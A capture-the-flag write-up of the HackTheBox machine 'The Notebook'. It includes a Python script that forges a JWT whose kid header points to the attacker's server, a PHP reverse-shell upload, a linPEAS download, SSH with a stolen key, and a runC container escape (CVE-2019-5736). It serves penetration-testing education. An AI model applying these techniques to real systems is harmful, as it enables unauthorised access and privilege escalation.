HTB - The Notebook Write-up

Vulnerabilities/ bad configurations exploited:

  1. Persistant Java Web Token (JWT) stored in cookie
  2. Breaking out of Docker via runC (CVE-2019-5736)

Enumerating Network

I started with a basic scan of all common ports and services on the machine.

sudo nmap -sC -sV -oA nmap/thenotebook 10.10.10.230 -vv

-sC : Load default scripts
-sV : Determine service/version info from open ports
-oA : Output in all formats
-vv : Increased verbosity
PORT      STATE    SERVICE REASON         VERSION
22/tcp    open     ssh     syn-ack ttl 63 OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 86:df:10:fd:27:a3:fb:d8:36:a7:ed:90:95:33:f5:bf (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCZwjrB05nGUvacI81YxNqy+6WpPHhIju6c73aoiru9nW/aVhTmOEsSOGoChEXeQeDN67ZN5QW4LFf0tXeQeJqvgO82HtFkUOiN8tt1RpI98SV+hx8scCzpmtAyu1OJSUM3/cL2tEPTcPHAgHTmroWiXxIMPhTFLIoDVBIqmBrORUIwgjIzFUbEDQJXKPkFciofbowVOkHnT+lv5XokU6571wrX/LRJvTNBEAvbbz0HAfvUkne8ycQsW08qk/BugiLnJHLg24YryGdHl5RqqW/42fsUADngFLncy2+/XCo8Pe/erO+7Zw6r4n1qVb0W0BZ+lRflcRss3diM/21R6O0z
|   256 e7:81:d6:6c:df:ce:b7:30:03:91:5c:b5:13:42:06:44 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBLeuBF/ZBUM0ZBYW4+vgQMhIPWVs2fzv9lmQHoflWFNMP/sFWZDeVneJE0CRSLnYi2y/wwc079bIsQRibay3Fpg=
|   256 c6:06:34:c7:fc:00:c4:62:06:c2:36:0e:ee:5e:bf:6b (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDg0mzA1xTe9hivlJN4s+7eXaiyIYefpyykHIir3btEA
80/tcp    open     http    syn-ack ttl 63 nginx 1.14.0 (Ubuntu)
|_http-favicon: Unknown favicon MD5: B2F904D3046B07D05F90FB6131602ED2
| http-methods: 
|_  Supported Methods: GET HEAD OPTIONS
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: The Notebook - Your Note Keeper
10010/tcp filtered rxapi   no-response
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Results show that ports 22, 80 and 10010 are open. I attempted to scan all other ports with sudo nmap -sC -sV -p- -oA nmap/thenotebook_allports 10.10.10.230, but no avail.

I proceeded to take a look at what was on port 80.


Discover Hidden Directories

Right before I moved onto the Web Application, I fired up gobuster, to keep some form of enumeration running in the background.

gobuster dir -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -u http://10.10.10.230

dir : Directory mode
-w : Wordlist
-u : URL

Enumerating Web Application (WebApp)

It was a simple web application that allowed registered users to keep notes and view them on demand.

Fuzzing notes

After playing around with the WebApp, I noticed that the notes I added across multiple users on the WebApp seemed to run in sequence, which I determined it to be a running index of the notes, across the WebApp.

I created a simple script to print a range of numbers to prepare fuzzing.

#!/bin/bash

for i in {1..100};
do
    echo "$i"
done

I ran the script and saved the output to numberlist.

I tried fuzzing to discover notes I might be able to access,  however, I was not able to view notes of other users, unless I knew their Universally Unique Identifier (UUID).

ffuf -w numberlist -u http://10.10.10.230/dce4531a-b606-493a-a6f5-05558d204a0f/notes/FUZZ -mc 200

-w : Wordlist
-u : URL
FUZZ : Wildcard
-mc : Match response code

Checking gobuster results

My gobuster execution completed and there was one hidden directory, /admin. I navigated to /admin, but was not able to access it.

Persistant Java Web Token (JWT) stored in cookie

Read more: https://jwt.io/introduction

Knowing that there was an admin folder, I tried logging in with admin using common default credentials, and expectedly, it did not work.

I opened FireFox developer tools and looked at the Cookies storage and saw 2 objects stored in the cookie.

  1. A very long encoded string. Which seemed like base-64.
  2. My current logged in user's UUID.

I wanted to see if there were any changes to the cookie when logged in as other users and noticed that the auth value did not change like the uuid value. After some research, I found out that the auth value was actually a Java Web Token (JWT), and storing a persistent JWT is considered bad security practice.

I used an online decoder, jwt.io and analysed what was in the token.

A few interesting observations:

  1. Key ID, or kid field was present, and it was pointing to a local address.
  2. admin_cap in the payload seems to indicate whether the user has admin privileges or not.

Despite having these information, I was stuck here for quite awhile, researching on what can I do with this at hand. I took reference to one of HackTheBox's most revered individual, IppSec's videos on JWT exploitation, and tried to modify the kid and payload values to get admin access on the WebApp.

Generating a custom JWT

Steps to generate a custom JWT:

  1. Install PyJWT, if required.
pip3 install PyJWT

2. Create RSA private key.
Note: Using key generated from bash ssh-keygen -t rsa  will cause a serialization error when using jwt.encode().

openssl genrsa -out jwt-key 4096

3. Modify kid value from local address to my own HTTP server.

{"kid":"http://10.10.14.61/privKey.key"}

4. Modify payload field to a user I registered in the WebApp.

{"username":"user","email":"user2@user","admin_cap":1}

5. Encode all input using jwt.encode() and print.

#!/usr/bin/python3                                                                                                   
                                  
import jwt  

priv_key = '''
-----BEGIN RSA PRIVATE KEY-----           
MIIJKgIBAAKCAgEAz/zQj+D8hqc9/Vc56WLzJHwT+m7ax5ZYG3Vqy1yiDMbF8pZU                   
...truncated...
ALXKWi/X/nYe7WHRtr+uaI6D+6t8oJppR6uA8mZXPlxrNZnVfNZQQ3vpTRPCZw==
-----END RSA PRIVATE KEY-----
'''

payload = {"username":"user","email":"user2@user","admin_cap":1}
token = jwt.encode(payload,priv_key,algorithm="RS256",headers={"kid":"http://10.10.14.61/privKey.key"})
print(token)

I saved the token generating script and ran it. A successfully generated token should look like this.

Accessing /admin folder

With the token I generated, I replaced the auth value while logged as as user and attempted to access http://10.10.10.230/admin .

I started a simple HTTP server using python, and tried to access the ```/admin``` page, but I did not succeed immediately as I forgot to change my private key filename from ```jwt-key``` to ```privKey.key``` (or whatever filename you defined in the token generator script as the key file).

After logging in as ```admin```, there was an Admin Panel, which consisted 2 functions, View Notes and Upload File. First in View Notes, I could see all notes stored in the WebApp.

2 notes written by admin piqued my curiosity,

  1. Need to fix config.
  2. Backups are scheduled.

From the first note, it gave me a clue that the WebApp executes PHP files unintentionally. With the Upload File function, we could potentially get our first shell. On the second note, it hinted that there might be some sort of scheduled backup going on in the backend.

Initial Access

I modified the ```php-reverse-shell.php``` script to point to my IP and to port ```8001```, and set up my listener and used the Upload File function to upload a PHP reverse shell script. After clicking View, I got my first shell. The filename that appeared after uploading my shell was just an MD5 sum of the shell.

Next, I upgraded my shell to an interactive version.

> python3 -c 'import pty;pty.spawn("/bin/bash")'
Ctrl+Z
> stty raw -echo && fg
Press Enter twice

> TERM=xterm

Lateral Movement

I used my simple HTTP server and transferred to and ran linPEAS.sh on the target machine.

[On my machine]
sudo python3 -m http.server 80


[On target machine]
cd /tmp
wget http://10.10.10.230/linPEAS.sh
chmod +x linPEAS.sh
./linPEAS.sh

I did not see anything exploitable right off the bat, and I remembered the note that wrote about scheduled backups. I looked into the linPEAS backup folder results and found an interesting file named,
-rw-r--r-- 1 root root 4373 Feb 17 09:02 /var/backups/home.tar.gz

I extracted the folder and searched within, and there was a RSA private key kept inside which was accessible to me.

tar -xf home.tar.gz
ls -lahR home

Realizing that I had the private key to Noah's account, I SSH'ed as Noah, using the key I'd gotten.

chmod 400 noahkey
ssh noah@10.10.10.230 -i noahkey

And there is the User Flag.

Privilege Escalation

Read more: https://unit42.paloaltonetworks.com/breaking-docker-via-runc-explaining-cve-2019-5736/

I checked if Noah had any sudo rights and saw that he could run this command as sudo:

User noah may run the following commands on thenotebook:
    (ALL) NOPASSWD: /usr/bin/docker exec -it webapp-dev01*

I did a quick search on Google and came across CVE-2019-5736, which was a vulnerability in docker's runC. There were multiple PoCs available on GitHub, and I chose the one that was written in Go.

I changed the payload to add sticky bit to bash and went to build the script to a binary. I accessed the docker container, uploaded the exploit and ran it.

I SSH'ed into Noah on another window and triggered the exploit by spawning ```/bin/sh``` using ```sudo /usr/bin/docker exec -it webapp-dev01 /bin/sh```.

And I got root.

Afternote

Rated Medium, it was around a 'high' Medium difficulty for me as I was not experienced in exploiting JWT and escaping docker using this CVE. Until now, I still can't wrap my head around what this vulnerability is, and I would be spending sometime understanding it. Overall, I enjoyed this box a lot for its complexity and being able to build upon my knowledge in enumeration and pentesting.